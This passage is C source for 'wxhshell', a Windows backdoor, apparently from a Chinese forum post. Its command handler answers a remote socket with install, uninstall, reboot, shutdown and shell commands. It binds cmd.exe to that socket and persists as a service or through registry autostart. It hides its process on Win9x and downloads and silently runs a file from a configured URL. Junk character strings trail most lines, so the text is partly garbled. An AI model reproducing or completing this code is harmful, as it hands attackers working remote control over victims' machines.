  else { N[G<&f9  
8p3pw=p  
    switch(cmd[0]) { cZn B 2T?  
  =l&A9 >\  
  // 帮助 tF> ?]  
  case '?': { W/Rb7q4v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6.fahg?E  
    break; +{* @36A5A  
  } Q=hf,/N  
  // 安装 Mq7d*Bgb  
  case 'i': { [;5?=X,LD  
    if(Install()) e [D'0L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dL9QYIfP  
    else hGc')  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y)% CxaO `  
    break; 0>jo+b\D$  
    } K<`"Sr  
  // 卸载 |Tz/9t  
  case 'r': { >icK]W  
    if(Uninstall()) G~Oj}rn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +*OY%;dQ7@  
    else 4qw&G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z1oikg:?4  
    break; i2<dn)K[~-  
    } z` b. ~<P  
  // 显示 wxhshell 所在路径 ]sz3:p=5  
  case 'p': { 41swG  
    char svExeFile[MAX_PATH]; 4v#3UG  
    strcpy(svExeFile,"\n\r"); EFl[u+ 1tx  
      strcat(svExeFile,ExeFile); /?b<}am  
        send(wsh,svExeFile,strlen(svExeFile),0); L|DSEth  
    break; WFBg3#p  
    } Q^q G=  
  // 重启 x)@G+I \u  
  case 'b': { @21G[!%J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]# hT!VOd  
    if(Boot(REBOOT)) 9gMNS6D'b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5p&&EA/  
    else { G $u:1&   
    closesocket(wsh); maANxSzi  
    ExitThread(0); yQQ[_1$pq  
    } Ugmg,~U~k  
    break; ldJ eja~Xl  
    } Q}!U4!{i|p  
  // 关机 -Kt36:|  
  case 'd': { +nKxSjqI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A{hwT,zV:  
    if(Boot(SHUTDOWN)) Gq5)>'D?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5utMZ>%w_#  
    else { E&k{ubcT  
    closesocket(wsh); 6ju+#]T  
    ExitThread(0); r\+AeCyb"p  
    } "HR &Rf k  
    break; 8;3T65KY  
    } 7M: 0%n$  
  // 获取shell \$J!B&i  
  case 's': { VHsNz WI  
    CmdShell(wsh); %^RlE@l9  
    closesocket(wsh); &,':@OQ  
    ExitThread(0); (bo{vX  
    break; hB:R8Y^?H  
  } Fs:l"5~>1  
  // 退出 Jrlc%,pZ  
  case 'x': { BY: cSqAW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); whP>'9t.w  
    CloseIt(wsh); (E)/' sEb  
    break; Xmy(pV!PF  
    } ]4@z.1Mr  
  // 离开 d87pQ3e:&  
  case 'q': { st36xS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D@H'8C\  
    closesocket(wsh); Y=/3_[G   
    WSACleanup(); *>.~f<V  
    exit(1); #m9V) 1"wB  
    break; #'z\[^vp  
        } WPyd ^Y<  
  } ee&QZVL>  
  } }/G~"&N[  
5}e-~-  
  // 提示信息 lqPRUkin  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9&}qie,  
} 2q# t/oN3T  
  } Q>}I@eyJ  
~I/7{B|yX  
  return; B dm<<<  
} n[WXIE<  
J8a4.prqI  
// shell模块句柄 Z.m.Uyz{7  
int CmdShell(SOCKET sock) ^~MHxF5d  
{ (FMGW (  
STARTUPINFO si; /S9Mu )1Y  
ZeroMemory(&si,sizeof(si)); R4}G@&Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 13A11XTp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7w )#[^  
PROCESS_INFORMATION ProcessInfo; >FHTBh& Y  
char cmdline[]="cmd"; c[ff|-<g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?Z!itB~  
  return 0; R|t.wawCo  
} ]5td,2E C  
Mz]LFM  
// 自身启动模式 #eE:hiu<v  
int StartFromService(void) u4o%qK  
{ #:Cr'U  
typedef struct 0y'34}  
{ y>8!qVX  
  DWORD ExitStatus; (B]Vw+/  
  DWORD PebBaseAddress; l%B1JGu*F  
  DWORD AffinityMask; nC`#Hm.V%  
  DWORD BasePriority; Tjure]wQz  
  ULONG UniqueProcessId; *Gu Cv3|  
  ULONG InheritedFromUniqueProcessId; ~2A<fL,-  
}   PROCESS_BASIC_INFORMATION; sutj G`m  
?Pmj}f  
PROCNTQSIP NtQueryInformationProcess; iCk34C7  
biGaP#"0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n2 ,b~S\e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L6$,<}l  
1Sz5&jz  
  HANDLE             hProcess; >!? f6 {\|  
  PROCESS_BASIC_INFORMATION pbi; P9`i6H'~  
%X GX(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @b!fs  
  if(NULL == hInst ) return 0; WF-imI:EK  
RWTv,pLK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :CHCVoh@95  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XNu2G19jb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KU33P>a"[k  
.:RoD?px  
  if (!NtQueryInformationProcess) return 0; r(vk2Qy  
|hp_X>Uv'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O";r\Z  
  if(!hProcess) return 0; QS=n 50T,  
s3kh (N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0?,EteR  
.M:,pw"S]  
  CloseHandle(hProcess); +$},Hu69j  
" I`YJEv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Zf1=& U#/  
if(hProcess==NULL) return 0; w #(XiH*  
'{( n1es  
HMODULE hMod; !c1 E  
char procName[255]; 8agd{bxU  
unsigned long cbNeeded; AW> P\>{RE  
NV9=~c x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hg(\EEe  
]iLfe&f  
  CloseHandle(hProcess); Iob o5B  
t4s}w$4  
if(strstr(procName,"services")) return 1; // 以服务启动 C?x  
(nda!^f_s  
  return 0; // 注册表启动 jIdhmd* $z  
} ,PN>,hFL  
Kq!n `@  
// 主模块 DU1,i&(  
int StartWxhshell(LPSTR lpCmdLine) ` S85i*  
{ mg >oB/,'Z  
  SOCKET wsl; RFA5vCG  
BOOL val=TRUE; bk4%lYJ"  
  int port=0; _\o +9X!  
  struct sockaddr_in door; @Gn9x(?J  
9MM4C  
  if(wscfg.ws_autoins) Install(); $a5K  
U7x}p^B9\N  
port=atoi(lpCmdLine); G2L7_?/m  
miN(a; Q2P  
if(port<=0) port=wscfg.ws_port; i@B5B2  
a+]=3o  
  WSADATA data; Ii|<:BW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }P}l4k1W  
p3x(:=   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?6j@EJ<2q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $g|g}>Sc  
  door.sin_family = AF_INET; 1YnDho;~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IHagRldG  
  door.sin_port = htons(port); W=)}=^N0  
m5d;lrk@&/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tO~H/0  
closesocket(wsl); M6?Qw=  
return 1; @RaMO#  
} Wdy2;a<\{  
SZwfYY!ft0  
  if(listen(wsl,2) == INVALID_SOCKET) { 0W=IuPDU  
closesocket(wsl); c yN_Sg  
return 1; f$WO{ J  
} CtSAo\F  
  Wxhshell(wsl); V l9\&EL  
  WSACleanup(); PVtQ&m$y  
2EE#60  
return 0; ^jCkM29eu  
8:M~m]Z+|  
} UJ6WrO5#kB  
NWNgh/9?  
// 以NT服务方式启动 i!,>3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g?@(+\W  
{ Z.R^@@RqJ  
DWORD   status = 0; <,cDEN7  
  DWORD   specificError = 0xfffffff; 8@$QN4^u^  
lXz<jt@5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cIgFSwQ 4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jJ?3z ,h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LQ{4r1,u]  
  serviceStatus.dwWin32ExitCode     = 0; {ZfTUt)-P  
  serviceStatus.dwServiceSpecificExitCode = 0; <w,aS;v6jp  
  serviceStatus.dwCheckPoint       = 0; + qS$t  
  serviceStatus.dwWaitHint       = 0; vk#xCggK  
_wHqfj)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7CQ48LH]  
  if (hServiceStatusHandle==0) return; jliKMd<?  
Pel3e ~?t  
status = GetLastError(); %HSoQ?qA  
  if (status!=NO_ERROR) aMj3ov8p  
{ &'|bZms g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]q?<fEG2<  
    serviceStatus.dwCheckPoint       = 0; {=R=\Y?r&  
    serviceStatus.dwWaitHint       = 0; t~bjDV^`  
    serviceStatus.dwWin32ExitCode     = status; \{~x<<qFd  
    serviceStatus.dwServiceSpecificExitCode = specificError; +w}5-8mH&>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); % mI q,  
    return; beIEy(rA  
  } ].1R~7b  
1P[!B[;c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4s$))x9p  
  serviceStatus.dwCheckPoint       = 0; da 2BQ;  
  serviceStatus.dwWaitHint       = 0; !A<?nz Uv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g\jdR_/  
} !J6k\$r  
Crey}A/N  
// 处理NT服务事件,比如:启动、停止 'vCFT(C-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p6ZKyi  
{ lR-4"/1|y  
switch(fdwControl) ~i(*.Z) \  
{ isDr|g$S  
case SERVICE_CONTROL_STOP: sjzZl*GSy  
  serviceStatus.dwWin32ExitCode = 0;  kU#$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P|64wq{B8  
  serviceStatus.dwCheckPoint   = 0; 5$O@+W!?@  
  serviceStatus.dwWaitHint     = 0; u37+B  
  { 5B@&]-'~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B6ys 5eQ  
  } duwZe+  
  return; $%!]tNGS  
case SERVICE_CONTROL_PAUSE: 61wGIN2,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u/,m2N9cL  
  break; jN B-FVaT  
case SERVICE_CONTROL_CONTINUE: ZB%7Sr0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w1iQ#.4K_  
  break; b2:CFtH5  
case SERVICE_CONTROL_INTERROGATE: 7, O_'T &  
  break; ^LnCxA&QH  
};  /h   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #%E~I A%  
} vmk c]DC  
^srx/6X  
// 标准应用程序主函数 t/y0gr tm6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WMYvE\"  
{ M'[J0*ip  
$)PNf'5Zg  
// 获取操作系统版本 EJN}$|*Av  
OsIsNt=GetOsVer(); ==Y^~ab;K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i  #8)ad  
t/nu/yz5E  
  // 从命令行安装 >pn?~  
  if(strpbrk(lpCmdLine,"iI")) Install(); [Si`pPvl  
<ZCjQkka>r  
  // 下载执行文件 xe_c`%_  
if(wscfg.ws_downexe) { %)]{*#N4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7MBz&wE^f  
  WinExec(wscfg.ws_filenam,SW_HIDE); n.Ekpq\  
} $e0sa=/  
AC 3 ;i  
if(!OsIsNt) { =G*<WcR  
// 如果时win9x,隐藏进程并且设置为注册表启动 m}8c.OJ>K`  
HideProc(); ! 5]/2  
StartWxhshell(lpCmdLine); ]Wfnpqc^  
} X4 xnr^  
else 0naegy?,  
  if(StartFromService()) l$z-'  
  // 以服务方式启动 UF0PWpuO  
  StartServiceCtrlDispatcher(DispatchTable); rw58bkh6  
else V>z8 *28S.  
  // 普通方式启动 ky[FNgQ3n  
  StartWxhshell(lpCmdLine); P PmE.%_  
{:!*1L  
return 0; 0~"{z >s '  
}
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只看该作者 1 发表于: 2006-10-10
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